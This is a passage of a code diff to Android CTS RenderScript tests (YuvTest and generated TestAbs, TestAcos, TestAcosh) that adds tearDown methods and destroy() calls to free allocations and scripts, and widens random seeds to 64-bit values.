      * allocation, even if the pointer passed to the kernel of the script
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/YuvTest.java b/tests/tests/renderscript/src/android/renderscript/cts/YuvTest.java
index e162d1d..d316381 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/YuvTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/YuvTest.java
@@ -31,6 +31,21 @@
 
     protected ScriptC_verify mVerify;
 
+    @Override
+    protected void tearDown() throws Exception {
+        if (ay != null) {
+            ay.destroy();
+        }
+        if (au != null) {
+            au.destroy();
+        }
+        if (av != null) {
+            av.destroy();
+        }
+        if (mVerify != null) {
+            mVerify.destroy();
+        }
+    }
 
     int getCWidth() {
         return (width + 1) / 2;
@@ -100,7 +115,7 @@
         ScriptIntrinsicYuvToRGB syuv = ScriptIntrinsicYuvToRGB.create(mRS, Element.U8(mRS));
         syuv.setInput(ta);
         syuv.forEach(aout);
-        
+
         mVerify.set_gAllowedIntError(2); // this will allow for less strict implementation
         ScriptC_yuv script = new ScriptC_yuv(mRS);
         script.invoke_makeRef(ay, au, av, aref);
@@ -110,6 +125,11 @@
         mRS.finish();
         mVerify.invoke_checkError();
         waitForMessage();
+
+        ta.destroy();
+        syuv.destroy();
+        script.destroy();
+
         checkForErrors();
     }
 
@@ -141,7 +161,7 @@
         }
         ta.copyFrom(tmp);
         script.invoke_makeRef(ay, au, av, aref);
-        
+
         mVerify.set_gAllowedIntError(2); // this will allow for less strict implementation
         syuv.setInput(ta);
         syuv.forEach(aout);
@@ -154,6 +174,13 @@
         mRS.finish();
         mVerify.invoke_checkError();
         waitForMessage();
+
+        aout.destroy();
+        aref.destroy();
+        ta.destroy();
+        script.destroy();
+        syuv.destroy();
+
         checkForErrors();
     }
 
@@ -200,6 +227,13 @@
         mRS.finish();
         mVerify.invoke_checkError();
         waitForMessage();
+
+        aout.destroy();
+        aref.destroy();
+        ta.destroy();
+        script.destroy();
+        syuv.destroy();
+
         checkForErrors();
     }
 
@@ -241,6 +275,12 @@
         mVerify.set_gAllowedFloatError(0.01f); // this will allow for less strict implementation
         mVerify.invoke_checkError();
         waitForMessage();
+
+        aout.destroy();
+        aref.destroy();
+        ta.destroy();
+        script.destroy();
+
         checkForErrors();
     }
 
@@ -281,6 +321,12 @@
         mRS.finish();
         mVerify.invoke_checkError();
         waitForMessage();
+
+        aout.destroy();
+        aref.destroy();
+        ta.destroy();
+        script.destroy();
+
         checkForErrors();
     }
 }
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAbs.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAbs.java
index 0ab7c31..2a15712 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAbs.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAbs.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestAbsRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsCharUchar {
         public byte inV;
         public byte out;
     }
 
     private void checkAbsCharUchar() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 1, 0xf7393ea6l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 1, 0x79257810f7393ea6l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 1), INPUTSIZE);
             script.forEach_testAbsCharUchar(inV, out);
             verifyResultsAbsCharUchar(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAbsCharUchar: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 1), INPUTSIZE);
             scriptRelaxed.forEach_testAbsCharUchar(inV, out);
             verifyResultsAbsCharUchar(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAbsCharUchar: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAbsCharUchar(Allocation inV, Allocation out, boolean relaxed) {
@@ -111,11 +121,12 @@
     }
 
     private void checkAbsChar2Uchar2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 2, 0xe5e407cl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 2, 0xff611dd40e5e407cl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 2), INPUTSIZE);
             script.forEach_testAbsChar2Uchar2(inV, out);
             verifyResultsAbsChar2Uchar2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAbsChar2Uchar2: " + e.toString());
         }
@@ -123,9 +134,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 2), INPUTSIZE);
             scriptRelaxed.forEach_testAbsChar2Uchar2(inV, out);
             verifyResultsAbsChar2Uchar2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAbsChar2Uchar2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAbsChar2Uchar2(Allocation inV, Allocation out, boolean relaxed) {
@@ -179,11 +192,12 @@
     }
 
     private void checkAbsChar3Uchar3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 3, 0x479615al, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 3, 0xff62e6ef0479615al, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 3), INPUTSIZE);
             script.forEach_testAbsChar3Uchar3(inV, out);
             verifyResultsAbsChar3Uchar3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAbsChar3Uchar3: " + e.toString());
         }
@@ -191,9 +205,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 3), INPUTSIZE);
             scriptRelaxed.forEach_testAbsChar3Uchar3(inV, out);
             verifyResultsAbsChar3Uchar3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAbsChar3Uchar3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAbsChar3Uchar3(Allocation inV, Allocation out, boolean relaxed) {
@@ -247,11 +263,12 @@
     }
 
     private void checkAbsChar4Uchar4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 4, 0xfa948238l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 4, 0xff64b009fa948238l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 4), INPUTSIZE);
             script.forEach_testAbsChar4Uchar4(inV, out);
             verifyResultsAbsChar4Uchar4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAbsChar4Uchar4: " + e.toString());
         }
@@ -259,9 +276,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 4), INPUTSIZE);
             scriptRelaxed.forEach_testAbsChar4Uchar4(inV, out);
             verifyResultsAbsChar4Uchar4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAbsChar4Uchar4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAbsChar4Uchar4(Allocation inV, Allocation out, boolean relaxed) {
@@ -320,11 +339,12 @@
     }
 
     private void checkAbsShortUshort() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 1, 0xa064819cl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 1, 0xfab837da064819cl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 1), INPUTSIZE);
             script.forEach_testAbsShortUshort(inV, out);
             verifyResultsAbsShortUshort(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAbsShortUshort: " + e.toString());
         }
@@ -332,9 +352,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testAbsShortUshort(inV, out);
             verifyResultsAbsShortUshort(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAbsShortUshort: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAbsShortUshort(Allocation inV, Allocation out, boolean relaxed) {
@@ -388,11 +410,12 @@
     }
 
     private void checkAbsShort2Ushort2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 2, 0x6856b93el, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 2, 0x231450e16856b93el, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 2), INPUTSIZE);
             script.forEach_testAbsShort2Ushort2(inV, out);
             verifyResultsAbsShort2Ushort2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAbsShort2Ushort2: " + e.toString());
         }
@@ -400,9 +423,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testAbsShort2Ushort2(inV, out);
             verifyResultsAbsShort2Ushort2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAbsShort2Ushort2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAbsShort2Ushort2(Allocation inV, Allocation out, boolean relaxed) {
@@ -456,11 +481,12 @@
     }
 
     private void checkAbsShort3Ushort3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 3, 0xbeb24a6al, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 3, 0x23611868beb24a6al, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 3), INPUTSIZE);
             script.forEach_testAbsShort3Ushort3(inV, out);
             verifyResultsAbsShort3Ushort3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAbsShort3Ushort3: " + e.toString());
         }
@@ -468,9 +494,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testAbsShort3Ushort3(inV, out);
             verifyResultsAbsShort3Ushort3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAbsShort3Ushort3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAbsShort3Ushort3(Allocation inV, Allocation out, boolean relaxed) {
@@ -524,11 +552,12 @@
     }
 
     private void checkAbsShort4Ushort4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 4, 0x150ddb96l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 4, 0x23addff0150ddb96l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 4), INPUTSIZE);
             script.forEach_testAbsShort4Ushort4(inV, out);
             verifyResultsAbsShort4Ushort4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAbsShort4Ushort4: " + e.toString());
         }
@@ -536,9 +565,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testAbsShort4Ushort4(inV, out);
             verifyResultsAbsShort4Ushort4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAbsShort4Ushort4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAbsShort4Ushort4(Allocation inV, Allocation out, boolean relaxed) {
@@ -597,11 +628,12 @@
     }
 
     private void checkAbsIntUint() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0xac5b83e6l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0x6adb1880ac5b83e6l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 1), INPUTSIZE);
             script.forEach_testAbsIntUint(inV, out);
             verifyResultsAbsIntUint(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAbsIntUint: " + e.toString());
         }
@@ -609,9 +641,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testAbsIntUint(inV, out);
             verifyResultsAbsIntUint(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAbsIntUint: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAbsIntUint(Allocation inV, Allocation out, boolean relaxed) {
@@ -665,11 +699,12 @@
     }
 
     private void checkAbsInt2Uint2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 2, 0x938616fal, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 2, 0xc8728053938616fal, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 2), INPUTSIZE);
             script.forEach_testAbsInt2Uint2(inV, out);
             verifyResultsAbsInt2Uint2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAbsInt2Uint2: " + e.toString());
         }
@@ -677,9 +712,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testAbsInt2Uint2(inV, out);
             verifyResultsAbsInt2Uint2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAbsInt2Uint2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAbsInt2Uint2(Allocation inV, Allocation out, boolean relaxed) {
@@ -733,11 +770,12 @@
     }
 
     private void checkAbsInt3Uint3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 3, 0xf28ddbeel, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 3, 0xc8728af4f28ddbeel, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 3), INPUTSIZE);
             script.forEach_testAbsInt3Uint3(inV, out);
             verifyResultsAbsInt3Uint3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAbsInt3Uint3: " + e.toString());
         }
@@ -745,9 +783,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testAbsInt3Uint3(inV, out);
             verifyResultsAbsInt3Uint3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAbsInt3Uint3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAbsInt3Uint3(Allocation inV, Allocation out, boolean relaxed) {
@@ -801,11 +841,12 @@
     }
 
     private void checkAbsInt4Uint4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 4, 0x5195a0e2l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 4, 0xc87295965195a0e2l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 4), INPUTSIZE);
             script.forEach_testAbsInt4Uint4(inV, out);
             verifyResultsAbsInt4Uint4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAbsInt4Uint4: " + e.toString());
         }
@@ -813,9 +854,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testAbsInt4Uint4(inV, out);
             verifyResultsAbsInt4Uint4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAbsInt4Uint4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAbsInt4Uint4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcos.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcos.java
index a573212..9746e22 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcos.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcos.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestAcosRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkAcosFloatFloat() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xd1cc3bdfl, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xf6e893f6d1cc3bdfl, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testAcosFloatFloat(inV, out);
             verifyResultsAcosFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcosFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testAcosFloatFloat(inV, out);
             verifyResultsAcosFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcosFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAcosFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkAcosFloat2Float2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x1096ae8bl, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x55af66f81096ae8bl, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testAcosFloat2Float2(inV, out);
             verifyResultsAcosFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcosFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testAcosFloat2Float2(inV, out);
             verifyResultsAcosFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcosFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAcosFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkAcosFloat3Float3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x6b1cf69l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x55b1301306b1cf69l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testAcosFloat3Float3(inV, out);
             verifyResultsAcosFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcosFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testAcosFloat3Float3(inV, out);
             verifyResultsAcosFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcosFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAcosFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkAcosFloat4Float4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xfcccf047l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x55b2f92dfcccf047l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testAcosFloat4Float4(inV, out);
             verifyResultsAcosFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcosFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testAcosFloat4Float4(inV, out);
             verifyResultsAcosFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcosFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAcosFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkAcosHalfHalf() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x4b431bc1l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x5614f1df4b431bc1l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testAcosHalfHalf(inV, out);
             verifyResultsAcosHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcosHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testAcosHalfHalf(inV, out);
             verifyResultsAcosHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcosHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAcosHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkAcosHalf2Half2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x3eea831bl, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xbd4605aa3eea831bl, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testAcosHalf2Half2(inV, out);
             verifyResultsAcosHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcosHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testAcosHalf2Half2(inV, out);
             verifyResultsAcosHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcosHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAcosHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkAcosHalf3Half3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x9df2480fl, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xbd46104b9df2480fl, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testAcosHalf3Half3(inV, out);
             verifyResultsAcosHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcosHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testAcosHalf3Half3(inV, out);
             verifyResultsAcosHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcosHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAcosHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkAcosHalf4Half4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xfcfa0d03l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xbd461aecfcfa0d03l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testAcosHalf4Half4(inV, out);
             verifyResultsAcosHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcosHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testAcosHalf4Half4(inV, out);
             verifyResultsAcosHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcosHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAcosHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcosh.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcosh.java
index 277157a..8ff327b 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcosh.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcosh.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestAcoshRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkAcoshFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xcf303663l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x777ec00cf303663l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testAcoshFloatFloat(inV, out);
             verifyResultsAcoshFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcoshFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testAcoshFloatFloat(inV, out);
             verifyResultsAcoshFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcoshFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAcoshFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkAcoshFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x37b311efl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xf102471f37b311efl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
